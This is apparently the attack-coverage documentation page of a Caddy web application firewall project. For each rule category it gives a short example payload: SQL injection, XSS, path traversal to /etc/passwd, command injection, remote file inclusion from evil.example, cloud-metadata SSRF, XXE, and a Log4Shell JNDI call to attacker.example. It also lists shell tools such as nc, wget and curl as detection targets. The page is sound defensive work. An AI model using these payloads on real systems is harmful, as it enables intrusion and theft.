Files
caddy-waf/docs/attacks.md
fab 58919dc6ae docs: publish the docs tree as a VitePress site on GitHub Pages (#124)
Renders the existing docs/ tree as a searchable site. The Markdown stays the
source of truth and stays readable on GitHub; this adds a rendering layer.

Local MiniSearch, bundled Inter fonts and inline icon data URIs, so the
published site makes no third-party requests -- consistent with #98.

The build surfaced four latent problems in the existing docs: 88 links
pointing outside docs/, a link to the repo root in testing.md, literal
{{ }} in the SSTI section of attacks.md being parsed as Vue interpolation,
and 13 unhighlighted Caddyfile blocks.

docs/README.md becomes docs/index.md, since VitePress maps both to the same
route; GitHub no longer renders a landing page when browsing docs/.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-07-28 12:50:57 +02:00

7.9 KiB

Attack Coverage

This document summarises the attack categories addressed by the rule files shipped under rules/ and rules.json. The coverage is regex-based; it complements, but does not replace, application-layer input validation, parameterised database queries, output encoding, and a sound authentication / authorisation design.

The categories below correspond to the bundled rule sets. Each item lists the file (or files) that exercise the category, the kind of payloads the regex patterns target, and a representative example.


SQL Injection

  • Files: rules/sql-injection.json, entries in rules.json.
  • Targets: ARGS, BODY, HEADERS, COOKIES.
  • Patterns detect: classic boolean tautologies, UNION-based extraction, comment-bypass tokens (--, /* */), stacked statements, time-based functions (SLEEP, BENCHMARK).
  • Example: id=1' OR '1'='1' --

Cross-Site Scripting (XSS)

  • Files: rules/xss.json.
  • Targets: ARGS, BODY, HEADERS, COOKIES.
  • Patterns detect: <script> tags, event-handler attributes (onerror=, onload=), javascript: URLs, common encoded variants.
  • Example: <img src=x onerror=alert(1)>

Path Traversal / Local File Inclusion

  • Files: rules/lfi.json.
  • Targets: URI, ARGS, HEADERS.
  • Patterns detect: ../, ..\\, URL-encoded variants (%2e%2e/), Unicode escapes, well-known target paths (/etc/passwd, /proc/self/environ).
  • Example: ?file=../../../../etc/passwd

Remote Code Execution / Command Injection

  • Files: rules/rce.json.
  • Targets: ARGS, BODY, HEADERS, COOKIES, URI.
  • Patterns detect: shell metacharacters (|, ;, &&, backticks), $( … ), common command names (cat, whoami, nc, wget, curl).
  • Example: ?cmd=$(whoami)

Remote File Inclusion

  • Files: rules/rfi.json.
  • Targets: ARGS, BODY.
  • Patterns detect: http:// / https:// / ftp:// URLs supplied as input parameters.
  • Example: ?include=http://evil.example/shell.txt

Server-Side Request Forgery (SSRF)

  • Files: rules/ssrf.json.
  • Targets: ARGS, BODY, HEADERS.
  • Patterns detect: localhost, 127.0.0.0/8, 169.254.169.254 (cloud metadata), private CIDR space, alternate localhost schemes.
  • Example: ?url=http://169.254.169.254/latest/meta-data/

XML External Entity (XXE)

  • Files: rules/xxe.json.
  • Targets: BODY, ARGS.
  • Patterns detect: <!DOCTYPE … [ <!ENTITY declarations, SYSTEM entities, parameter entities.
  • Example: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

Server-Side Template Injection (SSTI)

  • Files: rules/ssti.json.
  • Targets: ARGS, BODY.
  • Patterns detect: {{ … }}, ${ … }, <%= … %> and other template engine sigils.
  • Example: ?name={{7*7}}

NoSQL Injection

  • Files: rules/data-validation.json and entries in rules.json.
  • Targets: ARGS, BODY.
  • Patterns detect: MongoDB operators ($ne, $gt, $where), JSON operator-injection idioms.
  • Example: {"username": {"$ne": null}}

LDAP / XPath Injection

  • Files: rules in rules.json.
  • Targets: ARGS, BODY.
  • Patterns detect: (|, &(, *)(uid=* and similar bypass payloads.
  • Example: ?user=*)(uid=*)

HTTP Request Smuggling

  • Files: rules/smuggling.json.
  • Targets: HEADERS.
  • Patterns detect: conflicting Transfer-Encoding/Content-Length combinations, Transfer-Encoding: chunked permutations, suspicious whitespace.

CRLF Injection / Response Splitting

  • Files: entries in rules.json (crlf-injection-headers).
  • Targets: HEADERS, ARGS.
  • Patterns detect: literal \r\n and URL-encoded variants (%0d%0a).

HTTP Parameter Pollution

  • Files: rules/hpp.json.
  • Targets: ARGS.
  • Patterns detect: duplicate / conflicting parameter idioms typical of HPP exploitation.

Insecure Deserialization

  • Files: rules/insecure-deserialization.json.
  • Targets: BODY, HEADERS, COOKIES.
  • Patterns detect: Java serialised object magic (AC ED), PHP serialised tags (O: / s:), Python pickle markers.

CSRF / Origin Tampering

  • Files: rules/csfr.json.
  • Targets: HEADERS.
  • Patterns detect: missing or mismatched Origin / Referer, inconsistent CSRF tokens. (CSRF defense in depth still requires a server-side token check; the WAF rules add a second line of inspection.)

GraphQL Introspection / Abuse

  • Files: rules/graphql.json.
  • Targets: BODY, URI.
  • Patterns detect: __schema, __type, deep nested queries.

Authentication Abuse

  • Files: rules/authentication.json.
  • Targets: URI, ARGS, BODY.
  • Patterns detect: high-volume credential stuffing markers, well-known login endpoints (wp-login.php, xmlrpc.php).

Vulnerability Exploitation (CVE-specific)

  • Files: rules/vulnerability.json, entries in rules.json.
  • Targets: URI, BODY, HEADERS.
  • Patterns detect: known exploit signatures including Log4Shell (CVE-2021-44228) JNDI lookups.
  • Example (Log4Shell): ${jndi:ldap://attacker.example/a}

Scanner / Tooling Detection

  • Files: entries in rules.json (block-scanners).
  • Targets: HEADERS:User-Agent.
  • Patterns detect: User-Agent strings emitted by known scanners (Nikto, sqlmap, Nmap, Nessus, OpenVAS, Burp Suite, Nuclei, …).

SpiderLabs / Trustwave Rules

  • Files: rules/spiderlabs.json.
  • Targets: various.
  • Patterns detect: a curated subset of patterns derived from the SpiderLabs / OWASP-CRS sources.

Layered defence

Regex rules are necessary but not sufficient. Pair this WAF with:

  • Input validation and parameterised queries in the application layer.
  • Strict CORS and CSRF token handling.
  • Network-level controls: TLS termination, reverse proxy with sane timeouts, observability.
  • Periodic review of the bundled rule files; the threat landscape evolves and so must the rules.

See scripts.md for helpers that ingest external feeds and produce updated rule and blacklist files.